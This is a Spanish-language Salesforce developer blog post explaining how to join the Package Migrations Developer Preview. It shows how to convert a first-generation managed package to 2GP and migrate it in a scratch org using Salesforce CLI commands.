En este canal, encontrará una serie de enlaces útiles, incluido un formulario para registrarse en Developer Preview. Necesitaremos algunos detalles, como su ID de organización de empaquetado, para que podamos activar la función Migraciones de paquetes.

Es importante destacar que participar en Developer Preview no tendrá ningún impacto en su paquete de 1GP. Por lo tanto, no se preocupe y participe, ya que sus comentarios son esenciales para ayudarnos a identificar y resolver problemas lo antes posible.

Una vez que esté activado, puede comenzar a probar las migraciones de paquetes.

Probar la conversión de un paquete administrado de primera generación

Muy bien, ¡comencemos! En primer lugar, asegúrese de haber instalado la CLI de Salesforce.

Si lo instaló anteriormente, asegúrese de estar usando la última versión:

sf update

Ahora asegúrese de que está ejecutando dentro del contexto de un proyecto de SalesforceDX. Puedes crear un nuevo proyecto usando:

sf project generate --name <Your project name>

Vincule el espacio de nombres de su 1GP administrado iniciando sesión en su DevHub y siga los pasos .

¡Eso es todo para la configuración! Ahora puede continuar e intentar convertir su paquete.

sf package convert --installation-key mdpTest --package 033xxx --wait 20

Repasemos los parámetros. Estamos utilizando la clave de instalación mdpTest . Será necesario cada vez que intente instalar esta versión del paquete en el futuro. Alternativamente, puede usar --installation-key-bypass para omitir la clave de instalación. Deberá ingresar su ID de paquete 1GP completo comenzando con 033 después de --package . El proceso de conversión puede demorar un poco y, por lo tanto, agregamos la opción --wait para esperar 20 minutos.

A medida que se ejecuta el proceso de conversión, obtendrá una actualización de su estado. Suponiendo que todo salió bien, recibirá un mensaje de éxito con la ID y la URL de instalación para la versión del paquete 2GP recién convertida.

Converting Package... ... Successfully created the package version [08cxxx00000KzFSAA0]. Subscriber Package Version Id: 04txxx00000u1cqAAA
Package Installation URL: https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA
As an alternative, you can use the "sfdx package:install" command.

¡Felicitaciones, su paquete ahora está convertido a 2GP! Si encontró algún problema en el camino, infórmenos utilizando el formulario en el grupo Comunidad de socios .

Nota: Al momento de escribir esta publicación de blog, este comando convertirá la última versión administrada y lanzada de su paquete. Estamos trabajando para permitirle convertir versiones de paquetes Beta y anteriores. Por otro lado, durante Developer Preview, no es posible promocionar paquetes 2GP convertidos al estado Lanzado.

Ahora que su paquete está convertido, probemos la migración de una organización suscriptora.

Probar la migración de un paquete administrado de primera generación instalado

Para probar la migración de un suscriptor, deberá crear una organización borrador ya que, durante la versión preliminar para desarrolladores, solo admitimos organizaciones borrador. Puede configurar una nueva organización borrador como esta:

sf org create scratch -f project-scratch-def.json -a MyScratchOrg

En el código anterior, -f apunta a su archivo de definición de organización borrador . Debe asegurarse de que su archivo de definición de organización borrador incluya cualquier función de Salesforce de la que pueda depender su paquete. Finalmente, estamos usando MyScratchOrg como el alias de esta organización.

Con la configuración de la organización borrador, continúe e instale la versión del paquete 1GP que convirtió anteriormente utilizando la URL de instalación que obtiene de su organización de empaquetado 1GP. Esta debería ser su última versión administrada y lanzada en este momento.

Puede confirmar que el paquete se instaló correctamente durante la pantalla de instalación. Vea el ejemplo a continuación.

Y consulte la sección Paquetes instalados del menú Configuración.

Ahora que instaló su 1GP en la organización borrador, está listo para la migración.

Inicie el proceso de migración utilizando la URL de instalación que recibió al final del proceso de conversión del paquete:

https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA

Ahora pasará por el mismo conjunto de pantallas que el anterior, pero esta vez para su paquete 2GP convertido.

Actualmente, la interfaz de usuario muestra que la "instalación" se ha completado. En realidad, lo que hicimos fue una migración de paquetes que se completó con éxito.

Tenga en cuenta que en este ejemplo, he usado la segunda compilación Beta para la versión 1.7, que corresponde a la misma versión mayor.menor que la versión del paquete 1GP instalada anteriormente. Como el 2GP convertido, durante la Vista previa del desarrollador, se crea como una versión Beta, se muestra como tal.

Una vez más, puede confirmar la versión del paquete actualizado en la sección Paquetes instalados del menú Configuración, que también muestra, en este ejemplo, que el número de versión es 1.7 (Beta 2).

Una vez que haya migrado el paquete en su organización borrador, le recomendamos que lo pruebe para asegurarse de que funciona como se esperaba.

También debe aprovechar la oportunidad para verificar si las aplicaciones, como la aplicación de administración de licencias o la aplicación de administración de funciones, muestran la información correcta para su paquete migrado. Si encuentra algo que no está bien, por favor plantéelo como un problema y lo investigaremos.

Mientras tanto …

Se necesitarán algunos lanzamientos para que las migraciones de paquetes estén disponibles de forma general. Su participación en Developer Preview, probando sus paquetes y brindándonos comentarios, es esencial para ayudarnos a identificar y resolver problemas antes.

Mientras tanto, ¿qué más puedes hacer? Le recomendamos que experimente con el uso de paquetes de segunda generación como parte de su modelo de desarrollo actual basado en 1GP. ¿Confundido? Dejame explicar.

Como mencioné anteriormente, hay una serie de ventajas específicas de 2GP. De estos, hay algunos de los que puede comenzar a beneficiarse hoy. Estos son los pasos que puede seguir:

  1. Puede configurar su control de código fuente y alimentarlo con metadatos extraídos de su organización de empaquetado.
  2. Puede crear un DevHub y organizaciones borrador derivadas para el desarrollo utilizando metadatos de su control de código fuente.
  3. Puede crear un paquete 2GP para desarrollo interno y pruebas que reflejen su paquete 1GP, pero usando un espacio de nombres solo interno o el mismo que su paquete 1GP. Las colisiones de espacios de nombres evitarán que los paquetes 1GP y 2GP con el mismo espacio de nombres se instalen en el mismo entorno.
  4. Una vez que esté satisfecho con el contenido de su paquete 2GP, puede migrar los metadatos desde la rama de control de fuente correspondiente a su organización de empaquetado y emitir una nueva versión de su paquete para distribuir a los clientes.

Esto lo ayudará a sumergirse en el mundo de 2GP y, una vez que Package Migrations esté disponible de forma general, podrá abandonar su modelo de desarrollo de 1GP por completo y pasar por completo a un modelo de desarrollo de 2GP.

Conclusión

Estamos muy entusiasmados con las migraciones de paquetes, pero necesitamos su ayuda para asegurarnos de que sea lo mejor posible. Si es un desarrollador de ISV, continúe y regístrese para la Vista previa para desarrolladores en la Comunidad de socios.

¡Estamos ansiosos por recibir sus comentarios!

Más recursos

Grupo de vista previa para desarrolladores en la comunidad de socios

Embalaje gestionado de segunda generación (documentación)

Sobre el Autor

John Belo es director de gestión de productos para productos de experiencia de desarrollador y se centra en migraciones de paquetes, analizador de código de Salesforce y análisis de aplicaciones de AppExchange. Ha estado en Salesforce durante más de siete años y pasó la mayor parte de este tiempo en el equipo de AppExchange. Comenzó liderando un equipo de evangelistas técnicos de ISV en EMEA y ahora es parte del equipo de gestión de productos de experiencia de desarrollador, siempre con la intención de ayudar a los ISV a tener el mayor éxito posible.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo